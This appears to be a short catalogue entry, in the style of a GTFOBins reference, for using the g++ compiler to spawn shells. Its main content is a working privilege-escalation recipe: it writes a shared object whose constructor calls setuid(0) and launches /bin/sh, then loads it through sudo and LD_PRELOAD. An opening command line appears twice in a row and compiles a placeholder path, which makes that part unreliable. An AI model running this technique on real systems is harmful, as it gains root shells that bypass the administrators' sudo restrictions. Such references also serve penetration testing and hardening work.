GNU C++ compiler, can execute code and spawn shells via compiled shared objects.
g++ -shared -o /tmp/x.so -fPIC /path/to/src && g++ -o /dev/null -Wl,--no-as-needed -ldl /dev/null g++ -shared -o /tmp/x.so -fPIC /path/to/src && g++ -o /dev/null -Wl,--no-as-needed -ldl /dev/null Sandbox: execFile · Timeout: 60s
security.privilege-escalation.shell security.execution.command Outputs
process.output Shell output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Spawn a shell via g++ compiled shared object
echo '#include <stdlib.h>' >x.cc
echo 'void __attribute__((constructor)) x() { setuid(0); system("/bin/sh"); }' >>x.cc
g++ -shared -o /tmp/x.so -fPIC x.cc
sudo LD_PRELOAD=/tmp/x.so g++ -o /dev/null -Wl,--no-as-needed -ldl /dev/null